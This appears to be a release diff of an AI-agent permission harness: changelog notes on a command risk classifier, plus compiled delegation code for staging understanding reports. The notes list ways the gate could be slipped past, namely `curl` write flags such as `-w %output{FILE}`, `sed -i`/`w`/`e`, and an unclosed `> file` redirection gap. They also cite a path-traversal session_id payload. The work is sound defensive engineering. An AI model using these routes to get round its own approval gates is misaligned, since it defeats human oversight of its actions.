+  - **The `sed` read-only floor is ALLOWLIST-based and Risk-Classifier-only; `curl` deliberately gets NO floor.** `isReadOnlySedCommand` sits beside `isReadOnlyKubectlCommand` in `src/runtime/read-only-bash.ts` and is wired only into `classifyRisk`, deliberately NOT into the shared `isReadOnlyBashCommand`: the understanding-gate PreToolUse blocker and the solution-acceptance write-guard consume that predicate directly and return "allowed" for anything it accepts before their own checks run, so a `sed` recognition there widens both gates. `sed` floors to `low` only when every flag is on the read-only allowlist (so `-i` in every spelling and `-f SCRIPTFILE` forfeit) and every script parses as a read-only sed program: sed's `w` command, the `s///w` flag and GNU's `e` command/flag all forfeit, correcting this task's earlier claim that "without `-i`, sed only writes to stdout". **`curl` has no read-only floor at all** (decision D-013): two shipped and both leaked, first a write-flag denylist that missed `-o`/`-O`/`-D`/`-c`/`-K`, then a flag allowlist that still admitted `-w`/`--write-out`, whose `%output{FILE}` directive writes a local file from curl 8.3.0 onward (verified on curl 8.7.1). The recurring class is the premise rather than the list: deciding a curl invocation is inert needs every curl flag's write capability across curl versions, and the value side has the same problem (`-H @FILE`). `curl` therefore stays UNCLASSIFIED like `ssh` and `node -e` (approval-gated by the fallback, never hard-blocked, never floored), and only its write-CAPABLE spellings are named, by the destructive floor. Operators who want a specific curl shape exempt add an explicit `low` classifier pattern for it, or a network egress control. A bare truncating redirection (`> file`) stays a documented, NOT-closed gap: the classifier is regex-over-raw-string with no redirection model, and a heuristic for it would over-match `2>&1`, heredocs and comparison operators.
+  - **`ssh <host> <cmd>`, `node -e`/`--eval` and `curl` are NOT given a `low` floor.** For `ssh` and `node -e` the payload (the remote command, the evaluated code) is opaque to the classifier; for `curl` it is the flag surface that cannot be allowlisted robustly (see the floor bullet above), so a `low` floor there would drop Risk Gate coverage entirely for those shapes: neither `severity_at_least: critical` nor `severity_at_least: high` fires on a `low` action. All three stay genuinely unclassified instead, so the paired `evaluateWhen` fallback above already covers them: not hard-blocked by a production `severity_at_least: critical` gate, but still approval-gated by a production `severity_at_least: high` gate.
+  - **The `ux:`-declared deny envelope now names a fallback-caused deny**, not just the neutral non-`ux:` one, and interpolates the resolved environment name, the fallback rung, and the policy's own declared threshold, so an unscoped `severity_at_least: high` policy on a feature branch no longer reports a production context that was never resolved or a critical-severity comparison that never ran. The operator's own `cannot:` text is appended byte-for-byte, and a genuine classification hit still renders it with no prefix.
+  - Docs: `docs/risk-gate.md` ("Unclassified actions and the fail-close rule", "Built-in read-only commands", the `sed` read-only floor, the new "No `curl` read-only floor, by design" section, and the built-in destructive floor section, which now also records the head-resolution spellings the floor does not reach and the fact that a floor classifies — retiring the unclassified fallback for `risk.category_in` and `action.reversible`, not just `risk.severity_at_least` — whether the floor's own category list is empty (the benign floors) or non-empty but narrower than a policy might assume (the destructive floor: `chmod -R` classifies `mass_update` only, a curl request body classifies `production_mutation`+`network_exfiltration` but never `destructive`).
+
 ## [0.53.0] - 2026-08-30
 
 ### Added
@@ -45,7 +114,7 @@ and this project adheres to [Semantic Versioning](https://semver.org/).
   - **Review round 2 fixes.** A shared `readJsonDirEntriesRejectingSymlinks` helper (`src/io/read-json-dir-entries.ts`) replaces the verbatim readdir-classify-parse loop `ug-auto-approvals.ts` and `permission-mode-observations.ts` had each grown independently. `harness init --interactive`'s Custom composer now also ships `auto_approve` (it had been the one template-shaped surface this default missed, since it builds a config object rather than YAML text). `harness pack upgrade understanding-before-execution` now accepts a double- or single-quoted `- name: "understanding-before-execution"` pack entry and preserves a CRLF manifest's line endings end to end instead of inserting bare-LF lines. The doctor finding's `harnesses` coverage leg (previously untested) now has a discriminating test. `harness gc` grew a fourth mtime-aged category, `permission-mode-observation`, sweeping `harness.generated/.permission-mode-observations/` the same way it already sweeps `.approvals/`.
   - **Review round 3 fixes.** F1 (HIGH): `permissionModeObservationPathFor` had joined `session_id` into the write path unvalidated (trusting the caller's own empty-string check), so a crafted `session_id` reaching `harness pack hook pre-tool-use` on stdin (e.g. `../../escape-target/victim`) could write a file outside `harness.generated/.permission-mode-observations/`; it now calls the same `rejectMalformedSessionId` the approval marker path uses, and a rejected id is treated as another best-effort write failure (one stderr warning, fail-open, never a throw out of the hook). The read side (`listPermissionModeObservations`) now runs every returned `sessionId` through a `sanitizeForDisplay` step (mirrors `persisted-reports.ts`'s `sanitizeDetailValue`: strips C0/DEL control characters including ESC, caps length) before it can reach `harness doctor`'s finding `message`, since a hostile on-disk entry name or JSON `sessionId` field is not otherwise constrained to be display-safe. Mutation probe M1: dropping the `rejectMalformedSessionId` call from `permissionModeObservationPathFor` turns 5 tests red (`tests/policy-packs/understanding-before-execution-permission-mode-observations.test.ts`, `tests/cli/pack-hook-pre-tool-use-permission-mode-observation.test.ts`); restored, all green.
   - **Review round 4 (verification) fixes.** The ADR amendment's one remaining "non-agent-writable" phrase was aligned with the unsigned/advisory wording used everywhere else; `observedAt` is display-sanitised alongside `sessionId` (in the reader and again at the finding's render boundary, mirroring `persisted-reports.ts`), because V8's date parser accepts parenthesised trailing text so a crafted timestamp passed validation and reached `harness doctor` raw; the hook's own stderr warning sanitises the echoed session id; the hook-level traversal test now pins the concrete verdict (`blocked === true`) instead of a type check; the duplication pin follows the measured 112; and the broadened `auto_approve:` presence match documents its block-scalar limit (fail-safe no-op).
-  - F2 (MEDIUM): corrected the "hook-written, not agent-writable" framing above and in `permission-mode-observations.ts`'s and `bypass-without-auto-approve.ts`'s module headers and `docs/policy-packs/understanding-before-execution.md`: the observation is unsigned, so it proves the hook was invoked with a payload, not that a session ran under a given mode; the finding stays advisory-only and never gates. Not signing the observation in this task was an orchestrator decision (D-013): a second signed artifact would widen the marker-signing surface the ADR already lists as a residue, and the finding is advisory. A future hardening (signing the observation like an approval marker) is named as a possible follow-up, not undertaken here.
+  - F2 (MEDIUM): corrected the "hook-written, not agent-writable" framing above and in `permission-mode-observations.ts`'s and `bypass-without-auto-approve.ts`'s module headers and `docs/policy-packs/understanding-before-execution.md`: the observation is unsigned, so it proves the hook was invoked with a payload, not that a session ran under a given mode; the finding stays advisory-only and never gates. Not signing the observation in this task was an orchestrator decision (D-013): a second signed artifact would widen the marker-signing surface the ADR already lists as a residue, and the finding is advisory. Signing the observation was subsequently decided against; see the unsigned-observation entry in this section and the ADR amendment.
   - F3 (MEDIUM): `harness pack upgrade`'s `auto_approve:` presence check used strict line equality, so a hand-applied flow-style value (`auto_approve: {when: [...], ...}`) or a bare key with a trailing comment was not recognized as present; the verb inserted a second key and `parseYaml` threw "Map keys must be unique" uncaught (exit 70, a raw YAML message). The check now matches any line whose trimmed form starts with `auto_approve:`, and both `parseYaml` call sites (pre-lock and under the lock) are wrapped so a still-unparseable proposal surfaces as this verb's own `HarnessExitError` at `EX_FAIL` naming the pack, instead of an uncaught exception. Mutation probe M3: reverting the presence check to strict equality turns the two new flow-style/trailing-comment tests in `tests/cli/pack-upgrade.test.ts` red; restored, all green (22/22).
   - F4 (LOW): `packUpgrade` reported `applied: true` unconditionally after the locked callback ran, even when the callback found the block already present (a concurrent writer had raced it) and returned without writing. The callback now sets a `wroteUnderLock` flag only when it actually calls `atomicWriteFile`, and the result reports `applied: false, alreadyPresent: true` on the raced path. Covered by a real (unmocked) concurrency test in `tests/cli/pack-upgrade.test.ts`: two `packUpgrade` calls on the same fresh manifest via `Promise.all`, asserting exactly one reports `applied: true` and the manifest ends up with exactly one `auto_approve:` key.
   - F5 (LOW): dropped "task 8f637efd" from the `harness pack upgrade --description` help string and the pack doc's section heading; kept in source comments and here.

package/dist/cli/delegate/index.d.ts

@@ -17,7 +17,7 @@ export interface IssueDelegationOptions extends LoaderOptions {
     taskId?: string;
     /** Delegation lifetime in seconds (already parsed, e.g. via `parseDurationSeconds`). Default: the applied pack's `approval_lifecycle.max_age` when set, else {@link DEFAULT_DELEGATION_TTL_SECONDS}. */
     ttlSeconds?: number;
-    /** Fallback shape: path to the launcher-supplied Understanding Report file, bound by content AND path hash. */
+    /** Fallback shape: path to the launcher-supplied Understanding Report file. Copied to the conventional `harness.generated/.delegation-reports/<child-sid>.md` location (mode 0600) and bound by content AND that conventional path's hash; the child's PreToolUse hook reads it back from there. */
     reportPath?: string;
     /** Explicit parent session id. Resolved exactly like `harness approve understanding` (flag > env > `.pending-approval`; no newest-report fallback) when omitted. */
     parentSessionId?: string;
@@ -35,7 +35,7 @@ export interface IssueDelegationOptions extends LoaderOptions {
         reason: string;
     }>;
 }
-export type IssueDelegationRefusalReason = "invalid-child-session" | "no-binding" | "invalid-cwd" | "invalid-task" | "invalid-ttl" | "ttl-above-max-age" | "parent-session-unresolved" | "parent-marker-missing" | "parent-marker-forged" | "parent-marker-expired" | "signing-key-absent" | "report-unreadable" | "invalid-input" | "write-failed";
+export type IssueDelegationRefusalReason = "invalid-child-session" | "no-binding" | "invalid-cwd" | "invalid-task" | "invalid-ttl" | "ttl-above-max-age" | "parent-session-unresolved" | "parent-marker-missing" | "parent-marker-forged" | "parent-marker-expired" | "signing-key-absent" | "report-unreadable" | "report-unparseable" | "report-conflict" | "invalid-input" | "write-failed";
 export type IssueDelegationResult = {
     ok: true;
     filePath: string;
@@ -59,5 +59,18 @@ export declare function delegationLedgerFactFor(childSessionId: string, parentSe
  * calls `process.exit`; every failure mode is a `{ ok: false }` result
  * with a distinct `reason` (ADR slice plan format rule: every refusal is
  * a block with a distinct diagnostic, never a fall-through to allow).
+ *
+ * Consumption is Claude Code only: the Codex adapter has no delegation
+ * consumer (`hook-codex-pre-tool-use.ts` reads neither `.delegations/` nor
+ * a child report through this mechanism), so a Codex session can never be
+ * the delegated CHILD of this verb. Issuing is a separate question and is
+ * NOT restricted the same way: the parent-session resolution below reads
+ * `$CODEX_SESSION_ID` like any other tier, and the parent-marker check
+ * that follows accepts any validly signed marker regardless of which
+ * hook minted it, so a Codex session holding one can be the delegating
+ * PARENT of a Claude `-p` child today. Both are a decided platform
+ * boundary, not an oversight, see the "Platform scope" amendment in
+ * `docs/decisions/2026-08-27-ug-auto-mode-approval.md` and gap 14 in
+ * `docs/okf/codex-adapter-parity-gaps.md`.
  */
 export declare function issueDelegation(opts: IssueDelegationOptions): Promise<IssueDelegationResult>;

package/dist/cli/delegate/index.js

@@ -41,12 +41,30 @@
 // REPORT FALLBACK (`--report <path>`): binds the launcher-supplied
 // report by BOTH its content (`reportContentHash`) and its path
 // (`reportPathHash`, via the same `hashDelegationCwd` the cwd binding
-// uses, so both sides of the delegation hash paths the same way).
+// uses, so both sides of the delegation hash paths the same way). The
+// path bound is NOT the operator's original `--report` argument: this
+// verb COPIES the file (mode 0600) to the conventional location
+// `delegationReportPathFor` derives from the child session id
+// (`harness.generated/.delegation-reports/<child-sid>.md`) and hashes
+// THAT path instead. The child's PreToolUse hook has no channel to learn
+// an arbitrary operator-chosen path, so binding the original path would
+// leave the hook unable to derive it, exactly the gap agent-tasks
+// 49d1ee41 closes; the conventional path is the one location both the
+// writer here and the hook can compute from nothing but a session id.
+// The copy step never silently overwrites a DIFFERENT file already
+// staged there (see `report-conflict` below): the conventional location
+// is per-child, not per-delegation, so re-delegating the same child with
+// a changed report is a caller error to surface loudly, not a quiet
+// clobber of whatever the hook may already be mid-verification against.
+import * as fs from "node:fs";
+import { parseReport } from "@lannguyensi/understanding-gate";
 import { sha256Hex, signingKeyExists, signingKeyPathFor } from "../../runtime/approval-signing.js";
+import { atomicWriteFile } from "../../io/atomic-write.js";
 import { resolveGeneratedDir } from "../../runtime/pending-approval.js";
 import { resolveApprovalSessionId } from "../../runtime/session-id.js";
-import { checkApprovalMarker, hashDelegationCwd, parseApprovalLifecycle, writeDelegationMarker, } from "../../policy-packs/builtin/understanding-before-execution-runtime.js";
+import { checkApprovalMarker, delegationReportPathFor, hashDelegationCwd, parseApprovalLifecycle, writeDelegationMarker, } from "../../policy-packs/builtin/understanding-before-execution-runtime.js";
 import { readRegularFileRejectingSymlink } from "../../io/read-regular-file.js";
+import { resolveMode, toPackageMode } from "../../policy-packs/builtin/understanding-before-execution.js";
 import { loadDeclaredUnderstandingPack, writeLedgerTag } from "../approve/understanding.js";
 import { resolvePaths } from "../loader.js";
 /** Default delegation lifetime when neither `--ttl` nor the pack's `approval_lifecycle.max_age` is set (ADR "TTL, cwd, and subagents"). */
@@ -97,6 +115,19 @@ function validateTaskId(taskId) {
  * calls `process.exit`; every failure mode is a `{ ok: false }` result
  * with a distinct `reason` (ADR slice plan format rule: every refusal is
  * a block with a distinct diagnostic, never a fall-through to allow).
+ *
+ * Consumption is Claude Code only: the Codex adapter has no delegation
+ * consumer (`hook-codex-pre-tool-use.ts` reads neither `.delegations/` nor
+ * a child report through this mechanism), so a Codex session can never be
+ * the delegated CHILD of this verb. Issuing is a separate question and is
+ * NOT restricted the same way: the parent-session resolution below reads
+ * `$CODEX_SESSION_ID` like any other tier, and the parent-marker check
+ * that follows accepts any validly signed marker regardless of which
+ * hook minted it, so a Codex session holding one can be the delegating
+ * PARENT of a Claude `-p` child today. Both are a decided platform
+ * boundary, not an oversight, see the "Platform scope" amendment in
+ * `docs/decisions/2026-08-27-ug-auto-mode-approval.md` and gap 14 in
+ * `docs/okf/codex-adapter-parity-gaps.md`.
  */
 export async function issueDelegation(opts) {
     if (!UUID_RE.test(opts.childSessionId)) {
@@ -235,7 +266,9 @@ export async function issueDelegation(opts) {
     const expiresAt = new Date(now.getTime() + ttlSeconds * 1_000).toISOString();
     // Fallback shape: bind the launcher-supplied report by BOTH its
     // content and its path (delegation-markers.ts, "Delegation marker
-    // shape" table: half a binding is worse than none).
+    // shape" table: half a binding is worse than none). The path bound is
+    // the CONVENTIONAL copy this verb writes, not the operator's original
+    // `--report` argument (module header, "REPORT FALLBACK").
     let reportPathHash;
     let reportContentHash;
     if (opts.reportPath !== undefined) {
@@ -248,7 +281,98 @@ export async function issueDelegation(opts) {
             };
         }
         reportContentHash = sha256Hex(read.content);
-        reportPathHash = hashDelegationCwd(opts.reportPath);
+        // Validate parseability NOW, with the SAME parser AND the SAME
+        // gap-fill mode `persistStdinReport` applies when the child's hook
+        // later tries to mint from this report (`stdin-report.ts`'s own
+        // `parseReport` call, `mode: toPackageMode(resolveMode(declared).mode)`
+        // at hook-pre-tool-use.ts). A hardcoded `"fast_confirm"` here would
+        // let a short-form report pass staging and then fail persist under
+        // an operator's actually-configured `grill_me`, blocking the child
+        // with no retry available (see below). Refusing an unparseable
+        // `--report` file here, before anything is signed or staged, matters
+        // because a failure caught only at mint time is not cheaply
+        // retryable: the adoption ledger records the report's content hash
+        // as spent BEFORE `persistStdinReport` even runs, so a bad report
+        // permanently spends that content hash, and this verb's own
+        // `report-conflict` refusal then blocks re-staging different content
+        // at the same conventional path until the file is removed by hand.
+        // Catching it here costs nothing and needs no manual cleanup.
+        const parsed = parseReport(read.content, {
+            taskId: opts.childSessionId,
+            createdAt: now.toISOString(),
+            mode: toPackageMode(resolveMode(declaredPack).mode),
+            riskLevel: "medium",
+        });
+        if (!parsed.ok) {
+            const summary = parsed.error.message.length > 0
+                ? parsed.error.message
+                : `${parsed.error.reason}${parsed.error.missing.length > 0 ? ` (missing: ${parsed.error.missing.join(", ")})` : ""}`;
+            return {
+                ok: false,
+                reason: "report-unparseable",
+                detail: `--report ${opts.reportPath} did not parse: ${summary}`,
+            };
+        }
+        // Stage the conventional copy the child's hook will read back from.
+        // Never a silent overwrite: a DIFFERENT file already staged there
+        // (a stale copy from an earlier `--report` targeting the same
+        // child session id, or anything else) is a refusal, not a clobber.
+        // An IDENTICAL file already staged there is left as-is (idempotent
+        // re-delegation of the same child with the same report).
+        const conventionalPath = delegationReportPathFor(generatedDir, opts.childSessionId);
+        const existingAtConventional = readRegularFileRejectingSymlink(conventionalPath);
+        if (existingAtConventional.kind === "symlink" || existingAtConventional.kind === "not-regular") {
+            return {
+                ok: false,
+                reason: "report-conflict",
+                detail: `${conventionalPath} exists and is not a plain file; refusing to write the launcher-supplied report through it`,
+            };
+        }
+        if (existingAtConventional.kind === "unreadable") {
+            return {
+                ok: false,
+                reason: "report-conflict",
+                detail: `${conventionalPath} exists but could not be read (I/O error); refusing to overwrite it without first confirming its content matches`,
+            };
+        }
+        if (existingAtConventional.kind === "ok" && existingAtConventional.content !== read.content) {
+            return {
+                ok: false,
+                reason: "report-conflict",
+                detail: `a different report is already staged at ${conventionalPath} for child session ${opts.childSessionId}; refusing to overwrite it (no silent overwrite). Remove it first if the new --report content is intentional.`,
+            };
+        }
+        if (existingAtConventional.kind === "missing") {
+            try {
+                atomicWriteFile(conventionalPath, read.content, { mode: 0o600 });
+            }
+            catch (err) {
+                return {
+                    ok: false,
+                    reason: "write-failed",
+                    detail: `could not stage the launcher-supplied report at ${conventionalPath}: ${err instanceof Error ? err.message : String(err)}`,
+                };
+            }
+        }
+        else {
+            // `existingAtConventional.kind === "ok"` with matching content:
+            // already staged, nothing to WRITE, but the pack doc promises mode
+            // 0600 for the conventional copy unconditionally, not only on
+            // first write, so a pre-existing identical file left at a looser
+            // mode by something other than this verb is still brought to 0600
+            // on restage.
+            try {
+                fs.chmodSync(conventionalPath, 0o600);
+            }
+            catch (err) {
+                return {
+                    ok: false,
+                    reason: "write-failed",
+                    detail: `could not set mode 0600 on the already-staged report at ${conventionalPath}: ${err instanceof Error ? err.message : String(err)}`,
+                };
+            }
+        }
+        reportPathHash = hashDelegationCwd(conventionalPath);
     }
     const cwdHash = opts.cwd !== undefined ? hashDelegationCwd(opts.cwd) : null;
     const taskId = opts.taskId !== undefined ? opts.taskId : null;

package/dist/cli/delegate/index.js.map

@@ -1 +1 @@
-{"version":3,"file":"index.js","sourceRoot":"","sources":["../../../src/cli/delegate/index.ts"],"names":[],"mappings":"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